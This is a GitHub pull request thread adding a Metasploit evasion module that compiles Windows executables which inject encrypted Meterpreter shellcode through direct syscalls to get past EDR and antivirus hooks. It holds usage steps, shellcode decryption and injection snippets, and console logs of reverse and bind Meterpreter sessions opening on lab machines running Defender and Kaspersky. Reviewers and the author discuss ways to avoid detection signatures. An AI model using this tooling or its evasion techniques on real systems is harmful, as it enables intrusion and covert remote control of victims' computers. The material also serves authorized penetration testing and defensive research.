smcintyre-r7 merged 7 commits into rapid7:master from kensh1ro:syscall_inject 14 days ago Merged ADD EVASION MODULE SYSCALL_INJECT WITH DOCUMENTATION #15506 smcintyre-r7 merged 7 commits into rapid7:master from kensh1ro:syscall_inject 14 days ago +721 −12 Conversation 34 Commits 7 Checks 21 Files changed 5 CONVERSATION Copy link Contributor KENSH1RO COMMENTED ON AUG 1 This module lets you create a Windows executable that injects a specific payload/shellcode in memory bypassing EDR/AVs Windows API hooking technique via direct syscalls achieved by Mingw's inline assembly. It creates an executable that contains the selected payload and places it in ~/.msf4/local, then it needs to be copied to the destined location where it is planned to be executed. Mingw (x86_64) needs to be installed on the system and in the PATH environment variable in order to compile the generated source file. e.g. installing Mingw 64bit on kali linux: sudo apt-get install gcc-mingw-w64-x86-64. In order not to add any redundant or repeated code, lib/metasploit/framework/compiler/mingw.rb was modified to suit this module's needs without affecting other modules that uses mingw.rb. Adding a precompiled template is also an option instead of forcing users to setup Mingw. VERIFICATION STEPS steps using a meterpreter/reverse_tcp payload on a 64-bits target: 1. use evasion/windows/syscall_inject 2. set LHOST <local IP> 3. set payload windows/x64/meterpreter/reverse_tcp 4. handler -p windows/x64/meterpreter/reverse_tcp -H <local IP> -P <local port> 5. run 6. Make sure that "Automatic Sample Submission" is off in Windows Defender 7. Copy the generated executable file to a specified location (e.g. target PC) 8. Run it 9. Verify that you got a session without being blocked by Antimalware SCENARIOS WINDOWS 10 (X64) VERSION 20H2 WITH DEFENDER msf6 > use evasion/windows/syscall_inject [*] Using configured payload windows/x64/meterpreter/reverse_tcp msf6 evasion(windows/syscall_inject) > set SLEEP 10000 SLEEP => 10000 msf6 evasion(windows/syscall_inject) > set LHOST 192.168.1.104 LHOST => 192.168.1.104 msf6 evasion(windows/syscall_inject) > run [+] pYlCSOAeW.exe stored at /Users/user/.msf4/local/pYlCSOAeW.exe msf6 evasion(windows/syscall_inject) > cp /Users/user/.msf4/local/pYlCSOAeW.exe ~ [*] exec: cp /Users/user/.msf4/local/pYlCSOAeW.exe ~ msf6 evasion(windows/syscall_inject) > handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.1.104 -P 4444 [*] Payload handler running as background job 1. [*] Started reverse TCP handler on 192.168.1.104:4444 msf6 evasion(windows/syscall_inject) > [*] Sending stage (200262 bytes) to 192.168.1.103 [*] Meterpreter session 3 opened (192.168.1.104:4444 -> 192.168.1.103:53007) at 2021-08-01 17:08:43 +0300 msf6 evasion(windows/syscall_inject) > sessions -i 3 [*] Starting interaction with 3... meterpreter > sysinfo Computer : DESKTOP-822593D OS : Windows 10 (10.0 Build 19042). Architecture : x64 System Language : en_US Domain : WORKGROUP Logged On Users : 2 Meterpreter : x64/windows meterpreter > exit [*] Shutting down Meterpreter... [*] 192.168.1.103 - Meterpreter session 3 closed. Reason: User exit WINDOWS SERVER 2012 (X64) WITH KASPERSKY 10.2.6.3733 msf6 > use evasion/windows/syscall_inject [*] Using configured payload windows/x64/meterpreter/reverse_tcp msf6 evasion(windows/syscall_inject) > set payload windows/x64/meterpreter_bind_tcp payload => windows/x64/meterpreter_bind_tcp msf6 evasion(windows/syscall_inject) > set RHOST 192.168.225.76 RHOST => 192.168.225.76 msf6 evasion(windows/syscall_inject) > set LPORT 10156 LPORT => 10156 msf6 evasion(windows/syscall_inject) > set cipher rc4 cipher => rc4 msf6 evasion(windows/syscall_inject) > run [+] ShP.exe stored at /Users/medicus/.msf4/local/ShP.exe msf6 evasion(windows/syscall_inject) > cp /Users/medicus/.msf4/local/ShP.exe ~ [*] exec: cp /Users/medicus/.msf4/local/ShP.exe ~ msf6 evasion(windows/syscall_inject) > handler -p windows/x64/meterpreter_bind_tcp -H 192.168.225.76 -P 10156 [*] Payload handler running as background job 0. [*] Started bind TCP handler against 192.168.225.76:10156 msf6 evasion(windows/syscall_inject) > [*] Meterpreter session 1 opened (0.0.0.0:0 -> 192.168.225.76:10156) at 2021-08-01 17:32:05 +0300 msf6 evasion(windows/syscall_inject) > sessions -i 1 [*] Starting interaction with 1... meterpreter > sysinfo Computer : LABCE28 OS : Windows 2012 (6.2 Build 9200). Architecture : x64 System Language : en_US Domain : WORKGROUP Logged On Users : 386 Meterpreter : x64/windows meterpreter > exit [*] Shutting down Meterpreter... [*] 192.168.225.76 - Meterpreter session 1 closed. Reason: User exit The text was updated successfully, but these errors were encountered: Added module syscall_inject with documentation Loading status checks… 907be44 Copy link Contributor SMCINTYRE-R7 COMMENTED ON AUG 2 It looks like this relies on a hardcoded list of syscalls depending on the version of Windows on which the payload is running. I'm concerned about the obligation this would put on our project to maintain this list. For example, when a new build of Windows 10 or Windows 11 comes out, this would be broken on it if the syscalls changed and it would be on us to proactively update the module. Are there any techniques that are more dynamic in nature that you've found to be equally reliable? Perhaps something leveraging the unhooked copy of NTDLL.dll on disk? Sorry, something went wrong. Copy link Contributor Author KENSH1RO COMMENTED ON AUG 2 sure, I will try to work on something more dynamic, like extracting syscall numbers at runtime. Although loading NTDLL from disk is a bit fishy for most security products since every process has it loaded already, parsing the Export Address Table of NTDLL might be a good choice. Sorry, something went wrong. Copy link Contributor SMCINTYRE-R7 COMMENTED ON AUG 3 Parsing the EAT will get you the address of the function, and if it weren't hooked you'd have an easy enough time extracting the syscall number. The problem I'm guessing is that when it's not hooked this technique isn't necessary and when it is hooked you probably won't be able to extract the number reliably because it'll depend on how it was modified. Sorry, something went wrong. Adding a dynamic way to fetch syscalls Loading status checks… 87e7718 Copy link Contributor Author KENSH1RO COMMENTED ON AUG 4 I could also add Hell's Gate VX technique, but i prefer to add it in a separate module Sorry, something went wrong. adfoster-r7 reviewed on Aug 5 View changes modules/evasion/windows/syscall_inject.rb Outdated char* #{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_guid}"; char* #{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_guid}"; char* #{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_name} #{Rex::Text.rand_surname}"; char* #{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_name} #{Rex::Text.rand_surname}"; Copy link Contributor ADFOSTER-R7 ON AUG 5 Is there the possibility of this generating valid reserved C keywords? That's a problem we recently spotted with JSP payloads #15436 rapid7/rex-random_identifier#6 Sorry, something went wrong. Copy link Contributor Author KENSH1RO ON AUG 5 Yeah you are right, I will fix this right away. Sorry, something went wrong. Add fix for generating random valid C keywords Loading status checks… a4a2a4d kensh1ro requested a review from adfoster-r7 2 months ago Change Alloction from RWX to RW Loading status checks… 3bf8a5c Copy link Contributor Author KENSH1RO COMMENTED ON AUG 25 Any extra notes on this module? Sorry, something went wrong. smcintyre-r7 self-assigned this on Sep 1 smcintyre-r7 requested changes on Sep 1 View changes Copy link Contributor SMCINTYRE-R7 LEFT A COMMENT Test this out on Windows 7 SP1 and Windows 10 v1809 with Defender's Real-Time Protection enabled. Both cases appear to be working as expected. I left a few more comments on how we might keep the C code maintainable. I think the largest request would be to deobfuscate the source code, and then leverage our existing Metasploit::Framework::Compiler::Windows.generate_random_c functionality. There's also compile_random_c and compile_random_c_to_file depending on where exactly you want to put it, but they're all going to use the existing obfuscation API. Sorry, something went wrong. modules/evasion/windows/syscall_inject.rb Outdated // If this is NTDLL.dll, exit loop. PCHAR DllName = _RVA2VA(PCHAR, DllBase, ExportDirectory->Name); if ((*(ULONG*)DllName | 0x20202020) != 'ldtn') continue; Copy link Contributor SMCINTYRE-R7 ON SEP 1 This is kind of an odd way of doing things. Is there an advantage to this approach vs say stricmp? Sorry, something went wrong. Copy link Contributor Author KENSH1RO ON SEP 5 It is basically the same, but I avoided using any extra libraries, I could get rid of the useless OR operation Sorry, something went wrong. modules/evasion/windows/syscall_inject.rb Outdated def filler %( char* _msf_#{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_mail_address}"; char* _msf_#{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_mail_address}"; char* _msf_#{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_name} #{Rex::Text.rand_surname}"; char* _msf_#{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_mail_address}"; char* _msf_#{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_guid}"; char* _msf_#{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_guid}"; char* _msf_#{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_guid}"; char* _msf_#{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_guid}"; char* _msf_#{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_name} #{Rex::Text.rand_surname}"; char* _msf_#{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_name} #{Rex::Text.rand_surname}"; ) end Copy link Contributor SMCINTYRE-R7 ON SEP 1 Instead of using this static data filler to add entropy (which I assume is the goal here), we have the Metasploit::Framework::Compiler::Windows.generate_random_c function. It'll define random data as well as insert additional statements to increase the entropy of the code. Sorry, something went wrong. Copy link Contributor Author KENSH1RO ON SEP 5 • EDITED Well the problem is that I tried before to compile the code with Metasm but it produced too many errors, I haven't seen any inline assembly support nor the ability to produce an assembly object file to link it with the final executable Sorry, something went wrong. modules/evasion/windows/syscall_inject.rb Outdated Show resolved Hide resolved modules/evasion/windows/syscall_inject.rb Outdated @inject << %@ for (int i = 0; i < sizeof(shellcode) - 1; i++) { char temp = shellcode[i] ^ key[0] ^ key[1] ^ key[2] ^ key[3] ^ key[4] ^ key[5] ^ key[6]; Copy link Contributor SMCINTYRE-R7 ON SEP 1 This treats the key as one byte. There's no need to have the other 6 values when it could be normalized. Sorry, something went wrong. Copy link Contributor Author KENSH1RO ON SEP 5 I have read somewhere that some AVs brute force one-byte XOR keys, I could add a one XOR layer operation with longer keys instead Sorry, something went wrong. modules/evasion/windows/syscall_inject.rb Outdated for (int i = 0; i < sizeof(shellcode) - 1; i++) { char temp = shellcode[i] ^ key[0] ^ key[1] ^ key[2] ^ key[3] ^ key[4] ^ key[5] ^ key[6]; NtWriteVirtualMemory(pHandle, (LPVOID)((ULONG_PTR)bAddress + n), &temp, 1, NULL); Copy link Contributor SMCINTYRE-R7 ON SEP 1 Same comment here about only calling NtWriteVirtualMemory once. Sorry, something went wrong. modules/evasion/windows/syscall_inject.rb Outdated for (int i = 0; i < sizeof(shellcode) - 1; i++) { NtWriteVirtualMemory(pHandle, (LPVOID)((ULONG_PTR)bAddress + n), &temp[i], 1, NULL); n++; } Copy link Contributor SMCINTYRE-R7 ON SEP 1 If you're making the raw sayscall, this presumably isn't hooked so is it actually necessary to call it for each byte instead of doing it all at once? Sorry, something went wrong. Copy link Contributor Author KENSH1RO ON SEP 5 I guess it shouldn't be a problem if it is not hooked, I added it as an extra precaution. Sorry, something went wrong. modules/evasion/windows/syscall_inject.rb Outdated if datastore['CIPHER'] == 'rc4' @key ||= Rex::Text.rand_text_alpha(32..64) else @key ||= Rex::Text.rand_text(7) Copy link Contributor SMCINTYRE-R7 ON SEP 1 This doesn't need to be more than one byte. Should make sure it's not 0 though. Sorry, something went wrong. Copy link Contributor Author KENSH1RO ON SEP 5 I'm considering replacing XOR with either CHACHA or AES Sorry, something went wrong. Replace XOR with CHACHA and remove unnecassary code Loading status checks… 1adde37 smcintyre-r7 reviewed 27 days ago View changes Copy link Contributor SMCINTYRE-R7 LEFT A COMMENT I clarified the one comment and called out a couple of other things based on the latest round of changes. Overall things are looking good. I'll test it again after the tweaks have been made. Thanks for cleaning up the extra obfuscation code. I noticed the library usage I suggested is commented out. Was it not working for some reason? Sorry, something went wrong. modules/evasion/windows/syscall_inject.rb Outdated Show resolved Hide resolved modules/evasion/windows/syscall_inject.rb Outdated Show resolved Hide resolved modules/evasion/windows/syscall_inject.rb Outdated Show resolved Hide resolved add minor fixes to module code Loading status checks… 4454a76 Copy link Contributor Author KENSH1RO COMMENTED 26 DAYS AGO > I clarified the one comment and called out a couple of other things based on > the latest round of changes. Overall things are looking good. I'll test it > again after the tweaks have been made. > > Thanks for cleaning up the extra obfuscation code. I noticed the library usage > I suggested is commented out. Was it not working for some reason? Yes, unfortunately it produced errors on compiling the code which are hard to fix, this code is probably too custom for metasm to handle. I will try again with it when i get the time, I will also consider encoding the shellcode with base64 to avoid high entropy Sorry, something went wrong. add base64 encoding to shellcode Loading status checks… c1868d9 Copy link Contributor Author KENSH1RO COMMENTED 24 DAYS AGO Retested against latest Windows Defender and Kaspersky Cloud Security, working as expected. Now I guess the only thing left is to leverage metasm and metasploit's code randomization modules to compile the C code. I am all open to new options and ideas. Sorry, something went wrong. smcintyre-r7 reviewed 22 days ago View changes data/headers/windows/base64.h Show resolved Hide resolved Copy link Contributor SMCINTYRE-R7 COMMENTED 22 DAYS AGO If you want to get the randomization working before it's released you can post your changes and the issue you're getting then I can take a look and make suggestions. I'm happy to help if I can. If you want to wait on the randomization because things are working as intended now, that's fine too. The risk to that approach I guess would be that a signature for the EXE harness could be developed. Whether randomization is added to the C code or not though, there's probably enough data in the assembly stubs that are calling the Nt* functions that could be signatured with a relatively high degree of confidence so I don't know how much benefit randomizing the C will really provide. I'll leave it up to you Sorry, something went wrong. Copy link Contributor Author KENSH1RO COMMENTED 22 DAYS AGO Yes definitely you are right, I guess the best thing i could do now is try adding some dynamically generated bogus assembly instructions to the stubs. Sorry, something went wrong. Copy link Contributor Author KENSH1RO COMMENTED 17 DAYS AGO After thinking and experimenting for some time, adding some random assembly instructions is easily bypassed and it will not serve the destined purpose, on the other hand I hit a wall trying to make the compilation work with Metasm so I have nothing else to add on my end. It is ready for your final assessment. Sorry, something went wrong. smcintyre-r7 added feature module rn-modules labels 15 days ago Copy link Contributor SMCINTYRE-R7 COMMENTED 14 DAYS AGO I ran into one minor bug introduced in 1adde37 where changing the include from #include <windows.h> to #include <Windows.h> was causing a compilation error. I'll fix that up as I land it. With that in place though I can see the binaries are running on Windows 7 SP1 x64 and Server 2019. I tested both RC4 and CHACHA variants. I'll have this landed shortly. Thanks for all of your work on this! Testing Output msf6 evasion(windows/syscall_inject) > msf6 evasion(windows/syscall_inject) > show options Module options (evasion/windows/syscall_inject): Name Current Setting Required Description ---- --------------- -------- ----------- CIPHER chacha yes Shellcode encryption type (Accepted: chacha, rc4) FILENAME dkxy.exe yes Filename for the evasive file (default: random) SLEEP 20000 no Sleep time in milliseconds before executing shellcode Payload options (windows/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.159.128 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Evasion target: Id Name -- ---- 0 Microsoft Windows (x64) msf6 evasion(windows/syscall_inject) > set FILENAME /var/public/chacha_x64.exe FILENAME => /var/public/chacha_x64.exe msf6 evasion(windows/syscall_inject) > set LPORT 5000 LPORT => 5000 msf6 evasion(windows/syscall_inject) > run [-] evasion failed: Compilation error. Check the logs for further information. msf6 evasion(windows/syscall_inject) > edit msf6 evasion(windows/syscall_inject) > run [-] evasion failed: Compilation error. Check the logs for further information. msf6 evasion(windows/syscall_inject) > rerun [*] Reloading module... [+] /var/public/chacha_x64.exe stored at /home/smcintyre/.msf4/local/chacha_x64.exe msf6 evasion(windows/syscall_inject) > to_handler [*] Payload Handler Started as Job 0 msf6 evasion(windows/syscall_inject) > [*] Started reverse TCP handler on 192.168.159.128:5000 msf6 evasion(windows/syscall_inject) > show options Module options (evasion/windows/syscall_inject): Name Current Setting Required Description ---- --------------- -------- ----------- CIPHER chacha yes Shellcode encryption type (Accepted: chacha, rc4) FILENAME /var/public/chacha_x64.exe yes Filename for the evasive file (default: random) SLEEP 20000 no Sleep time in milliseconds before executing shellcode Payload options (windows/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.159.128 yes The listen address (an interface may be specified) LPORT 5000 yes The listen port Evasion target: Id Name -- ---- 0 Microsoft Windows (x64) msf6 evasion(windows/syscall_inject) > set CIPHER rc4 CIPHER => rc4 msf6 evasion(windows/syscall_inject) > show options Module options (evasion/windows/syscall_inject): Name Current Setting Required Description ---- --------------- -------- ----------- CIPHER rc4 yes Shellcode encryption type (Accepted: chacha, rc4) FILENAME /var/public/chacha_x64.exe yes Filename for the evasive file (default: random) SLEEP 20000 no Sleep time in milliseconds before executing shellcode Payload options (windows/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.159.128 yes The listen address (an interface may be specified) LPORT 5000 yes The listen port Evasion target: Id Name -- ---- 0 Microsoft Windows (x64) msf6 evasion(windows/syscall_inject) > set FILENAME /var/public/rc4_x64.exe FILENAME => /var/public/rc4_x64.exe msf6 evasion(windows/syscall_inject) > run [+] /var/public/rc4_x64.exe stored at /home/smcintyre/.msf4/local/rc4_x64.exe msf6 evasion(windows/syscall_inject) > jobs Jobs ==== Id Name Payload Payload opts -- ---- ------- ------------ 0 Exploit: multi/handler windows/x64/meterpreter/reverse_tcp tcp://192.168.159.128:5000 msf6 evasion(windows/syscall_inject) > [*] Sending stage (200262 bytes) to 192.168.159.11 [*] Meterpreter session 1 opened (192.168.159.128:5000 -> 192.168.159.11:63235) at 2021-09-22 09:52:56 -0400 [*] Sending stage (200262 bytes) to 192.168.159.11 [*] Meterpreter session 2 opened (192.168.159.128:5000 -> 192.168.159.11:63237) at 2021-09-22 09:52:57 -0400 [*] Sending stage (200262 bytes) to 192.168.159.96 [*] Meterpreter session 3 opened (192.168.159.128:5000 -> 192.168.159.96:58977) at 2021-09-22 09:53:54 -0400 [*] Sending stage (200262 bytes) to 192.168.159.96 [*] Meterpreter session 4 opened (192.168.159.128:5000 -> 192.168.159.96:58978) at 2021-09-22 09:53:57 -0400 msf6 evasion(windows/syscall_inject) > sessions -c "systeminfo" [*] Running 'systeminfo' on meterpreter session 1 (192.168.159.11) Host Name: WIN-9NSI4A6AIHJ OS Name: Microsoft Windows 7 Professional OS Version: 6.1.7601 Service Pack 1 Build 7601 OS Manufacturer: Microsoft Corporation OS Configuration: Standalone Workstation OS Build Type: Multiprocessor Free Registered Owner: Windows User Registered Organization: Product ID: 00371-221-2703907-06554 Original Install Date: 2/5/2020, 2:15:33 PM System Boot Time: 9/22/2021, 8:48:45 AM System Manufacturer: VMware, Inc. System Model: VMware Virtual Platform System Type: x64-based PC Processor(s): 1 Processor(s) Installed. [01]: Intel64 Family 6 Model 158 Stepping 13 GenuineIntel ~2304 Mhz BIOS Version: Phoenix Technologies LTD 6.00, 2/27/2020 Windows Directory: C:\Windows System Directory: C:\Windows\system32 Boot Device: \Device\HarddiskVolume1 System Locale: en-us;English (United States) Input Locale: en-us;English (United States) Time Zone: (UTC-05:00) Eastern Time (US & Canada) Total Physical Memory: 4,095 MB Available Physical Memory: 2,915 MB Virtual Memory: Max Size: 8,189 MB Virtual Memory: Available: 5,611 MB Virtual Memory: In Use: 2,578 MB Page File Location(s): C:\pagefile.sys Domain: WORKGROUP Logon Server: \\WIN-9NSI4A6AIHJ Hotfix(s): 133 Hotfix(s) Installed. [01]: KB2849697 [02]: KB2849696 [03]: KB2841134 [04]: KB2670838 [05]: KB971033 [06]: KB2479943 [07]: KB2491683 [08]: KB2506014 [09]: KB2506212 [10]: KB2532531 [11]: KB2533552 [12]: KB2533623 [13]: KB2534111 [14]: KB2552343 [15]: KB2560656 [16]: KB2564958 [17]: KB2579686 [18]: KB2585542 [19]: KB2604115 [20]: KB2620704 [21]: KB2621440 [22]: KB2631813 [23]: KB2639308 [24]: KB2653956 [25]: KB2654428 [26]: KB2656356 [27]: KB2667402 [28]: KB2685939 [29]: KB2690533 [30]: KB2698365 [31]: KB2705219 [32]: KB2706045 [33]: KB2727528 [34]: KB2729094 [35]: KB2729452 [36]: KB2731771 [37]: KB2736422 [38]: KB2742599 [39]: KB2758857 [40]: KB2770660 [41]: KB2786081 [42]: KB2789645 [43]: KB2807986 [44]: KB2813430 [45]: KB2834140 [46]: KB2836942 [47]: KB2836943 [48]: KB2840631 [49]: KB2847927 [50]: KB2861698 [51]: KB2862330 [52]: KB2862335 [53]: KB2864202 [54]: KB2868038 [55]: KB2871997 [56]: KB2882822 [57]: KB2884256 [58]: KB2888049 [59]: KB2893294 [60]: KB2894844 [61]: KB2900986 [62]: KB2911501 [63]: KB2912390 [64]: KB2931356 [65]: KB2937610 [66]: KB2943357 [67]: KB2968294 [68]: KB2972100 [69]: KB2972211 [70]: KB2973112 [71]: KB2973201 [72]: KB2977292 [73]: KB2978120 [74]: KB2978742 [75]: KB2984972 [76]: KB2991963 [77]: KB2992611 [78]: KB2999226 [79]: KB3004375 [80]: KB3010788 [81]: KB3011780 [82]: KB3019978 [83]: KB3021674 [84]: KB3023215 [85]: KB3030377 [86]: KB3031432 [87]: KB3035126 [88]: KB3037574 [89]: KB3042058 [90]: KB3045685 [91]: KB3046017 [92]: KB3046269 [93]: KB3055642 [94]: KB3059317 [95]: KB3060716 [96]: KB3067903 [97]: KB3071756 [98]: KB3072305 [99]: KB3074543 [100]: KB3075220 [101]: KB3086255 [102]: KB3092601 [103]: KB3093513 [104]: KB3097989 [105]: KB3101722 [106]: KB3108371 [107]: KB3108664 [108]: KB3109103 [109]: KB3109560 [110]: KB3110329 [111]: KB3115858 [112]: KB3122648 [113]: KB3124275 [114]: KB3126587 [115]: KB3127220 [116]: KB3138612 [117]: KB3138910 [118]: KB3139398 [119]: KB3139914 [120]: KB3150220 [121]: KB3155178 [122]: KB3156016 [123]: KB3159398 [124]: KB3161949 [125]: KB3185319 [126]: KB4019990 [127]: KB4040980 [128]: KB4474419 [129]: KB4490628 [130]: KB4532945 [131]: KB4536952 [132]: KB976902 [133]: KB4534310 Network Card(s): 2 NIC(s) Installed. [01]: Intel(R) PRO/1000 MT Network Connection Connection Name: Local Area Connection DHCP Enabled: Yes DHCP Server: 192.168.159.127 IP address(es) [01]: 192.168.159.11 [02]: fe80::dde4:fc35:f944:b469 [02]: Bluetooth Device (Personal Area Network) Connection Name: Bluetooth Network Connection Status: Media disconnected [*] Running 'systeminfo' on meterpreter session 2 (192.168.159.11) Host Name: WIN-9NSI4A6AIHJ OS Name: Microsoft Windows 7 Professional OS Version: 6.1.7601 Service Pack 1 Build 7601 OS Manufacturer: Microsoft Corporation OS Configuration: Standalone Workstation OS Build Type: Multiprocessor Free Registered Owner: Windows User Registered Organization: Product ID: 00371-221-2703907-06554 Original Install Date: 2/5/2020, 2:15:33 PM System Boot Time: 9/22/2021, 8:48:45 AM System Manufacturer: VMware, Inc. System Model: VMware Virtual Platform System Type: x64-based PC Processor(s): 1 Processor(s) Installed. [01]: Intel64 Family 6 Model 158 Stepping 13 GenuineIntel ~2304 Mhz BIOS Version: Phoenix Technologies LTD 6.00, 2/27/2020 Windows Directory: C:\Windows System Directory: C:\Windows\system32 Boot Device: \Device\HarddiskVolume1 System Locale: en-us;English (United States) Input Locale: en-us;English (United States) Time Zone: (UTC-05:00) Eastern Time (US & Canada) Total Physical Memory: 4,095 MB Available Physical Memory: 2,854 MB Virtual Memory: Max Size: 8,189 MB Virtual Memory: Available: 5,548 MB Virtual Memory: In Use: 2,641 MB Page File Location(s): C:\pagefile.sys Domain: WORKGROUP Logon Server: \\WIN-9NSI4A6AIHJ Hotfix(s): 133 Hotfix(s) Installed. [01]: KB2849697 [02]: KB2849696 [03]: KB2841134 [04]: KB2670838 [05]: KB971033 [06]: KB2479943 [07]: KB2491683 [08]: KB2506014 [09]: KB2506212 [10]: KB2532531 [11]: KB2533552 [12]: KB2533623 [13]: KB2534111 [14]: KB2552343 [15]: KB2560656 [16]: KB2564958 [17]: KB2579686 [18]: KB2585542 [19]: KB2604115 [20]: KB2620704 [21]: KB2621440 [22]: KB2631813 [23]: KB2639308 [24]: KB2653956 [25]: KB2654428 [26]: KB2656356 [27]: KB2667402 [28]: KB2685939 [29]: KB2690533 [30]: KB2698365 [31]: KB2705219 [32]: KB2706045 [33]: KB2727528 [34]: KB2729094 [35]: KB2729452 [36]: KB2731771 [37]: KB2736422 [38]: KB2742599 [39]: KB2758857 [40]: KB2770660 [41]: KB2786081 [42]: KB2789645 [43]: KB2807986 [44]: KB2813430 [45]: KB2834140 [46]: KB2836942 [47]: KB2836943 [48]: KB2840631 [49]: KB2847927 [50]: KB2861698 [51]: KB2862330 [52]: KB2862335 [53]: KB2864202 [54]: KB2868038 [55]: KB2871997 [56]: KB2882822 [57]: KB2884256 [58]: KB2888049 [59]: KB2893294 [60]: KB2894844 [61]: KB2900986 [62]: KB2911501 [63]: KB2912390 [64]: KB2931356 [65]: KB2937610 [66]: KB2943357 [67]: KB2968294 [68]: KB2972100 [69]: KB2972211 [70]: KB2973112 [71]: KB2973201 [72]: KB2977292 [73]: KB2978120 [74]: KB2978742 [75]: KB2984972 [76]: KB2991963 [77]: KB2992611 [78]: KB2999226 [79]: KB3004375 [80]: KB3010788 [81]: KB3011780 [82]: KB3019978 [83]: KB3021674 [84]: KB3023215 [85]: KB3030377 [86]: KB3031432 [87]: KB3035126 [88]: KB3037574 [89]: KB3042058 [90]: KB3045685 [91]: KB3046017 [92]: KB3046269 [93]: KB3055642 [94]: KB3059317 [95]: KB3060716 [96]: KB3067903 [97]: KB3071756 [98]: KB3072305 [99]: KB3074543 [100]: KB3075220 [101]: KB3086255 [102]: KB3092601 [103]: KB3093513 [104]: KB3097989 [105]: KB3101722 [106]: KB3108371 [107]: KB3108664 [108]: KB3109103 [109]: KB3109560 [110]: KB3110329 [111]: KB3115858 [112]: KB3122648 [113]: KB3124275 [114]: KB3126587 [115]: KB3127220 [116]: KB3138612 [117]: KB3138910 [118]: KB3139398 [119]: KB3139914 [120]: KB3150220 [121]: KB3155178 [122]: KB3156016 [123]: KB3159398 [124]: KB3161949 [125]: KB3185319 [126]: KB4019990 [127]: KB4040980 [128]: KB4474419 [129]: KB4490628 [130]: KB4532945 [131]: KB4536952 [132]: KB976902 [133]: KB4534310 Network Card(s): 2 NIC(s) Installed. [01]: Intel(R) PRO/1000 MT Network Connection Connection Name: Local Area Connection DHCP Enabled: Yes DHCP Server: 192.168.159.127 IP address(es) [01]: 192.168.159.11 [02]: fe80::dde4:fc35:f944:b469 [02]: Bluetooth Device (Personal Area Network) Connection Name: Bluetooth Network Connection Status: Media disconnected [*] Running 'systeminfo' on meterpreter session 3 (192.168.159.96) Host Name: WIN-3MSP8K2LCGC OS Name: Microsoft Windows Server 2019 Standard OS Version: 10.0.17763 N/A Build 17763 OS Manufacturer: Microsoft Corporation OS Configuration: Primary Domain Controller OS Build Type: Multiprocessor Free Registered Owner: Windows User Registered Organization: Product ID: 00429-00523-08135-AA816 Original Install Date: 2/26/2020, 12:09:54 PM System Boot Time: 9/22/2021, 8:48:56 AM System Manufacturer: VMware, Inc. System Model: VMware7,1 System Type: x64-based PC Processor(s): 2 Processor(s) Installed. [01]: Intel64 Family 6 Model 158 Stepping 13 GenuineIntel ~2304 Mhz [02]: Intel64 Family 6 Model 158 Stepping 13 GenuineIntel ~2304 Mhz BIOS Version: VMware, Inc. VMW71.00V.16221537.B64.2005150253, 5/15/2020 Windows Directory: C:\Windows System Directory: C:\Windows\system32 Boot Device: \Device\HarddiskVolume1 System Locale: en-us;English (United States) Input Locale: en-us;English (United States) Time Zone: (UTC-05:00) Eastern Time (US & Canada) Total Physical Memory: 4,094 MB Available Physical Memory: 2,230 MB Virtual Memory: Max Size: 4,798 MB Virtual Memory: Available: 2,903 MB Virtual Memory: In Use: 1,895 MB Page File Location(s): C:\pagefile.sys Domain: msflab.local Logon Server: \\WIN-3MSP8K2LCGC Hotfix(s): 11 Hotfix(s) Installed. [01]: KB5003538 [02]: KB4486153 [03]: KB4523204 [04]: KB4535680 [05]: KB4539571 [06]: KB4561600 [07]: KB4570332 [08]: KB4577586 [09]: KB4589208 [10]: KB5003711 [11]: KB5004947 Network Card(s): 2 NIC(s) Installed. [01]: Microsoft Kernel Debug Network Adapter Connection Name: Ethernet (Kernel Debugger) DHCP Enabled: Yes DHCP Server: 192.168.159.127 IP address(es) [01]: 192.168.159.96 [02]: fe80::b4dd:730c:d9b8:57b5 [02]: Intel(R) 82574L Gigabit Network Connection Connection Name: Ethernet0 Status: Hardware not present Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed. [*] Running 'systeminfo' on meterpreter session 4 (192.168.159.96) Host Name: WIN-3MSP8K2LCGC OS Name: Microsoft Windows Server 2019 Standard OS Version: 10.0.17763 N/A Build 17763 OS Manufacturer: Microsoft Corporation OS Configuration: Primary Domain Controller OS Build Type: Multiprocessor Free Registered Owner: Windows User Registered Organization: Product ID: 00429-00523-08135-AA816 Original Install Date: 2/26/2020, 12:09:54 PM System Boot Time: 9/22/2021, 8:48:56 AM System Manufacturer: VMware, Inc. System Model: VMware7,1 System Type: x64-based PC Processor(s): 2 Processor(s) Installed. [01]: Intel64 Family 6 Model 158 Stepping 13 GenuineIntel ~2304 Mhz [02]: Intel64 Family 6 Model 158 Stepping 13 GenuineIntel ~2304 Mhz BIOS Version: VMware, Inc. VMW71.00V.16221537.B64.2005150253, 5/15/2020 Windows Directory: C:\Windows System Directory: C:\Windows\system32 Boot Device: \Device\HarddiskVolume1 System Locale: en-us;English (United States) Input Locale: en-us;English (United States) Time Zone: (UTC-05:00) Eastern Time (US & Canada) Total Physical Memory: 4,094 MB Available Physical Memory: 2,264 MB Virtual Memory: Max Size: 4,798 MB Virtual Memory: Available: 2,926 MB Virtual Memory: In Use: 1,872 MB Page File Location(s): C:\pagefile.sys Domain: msflab.local Logon Server: 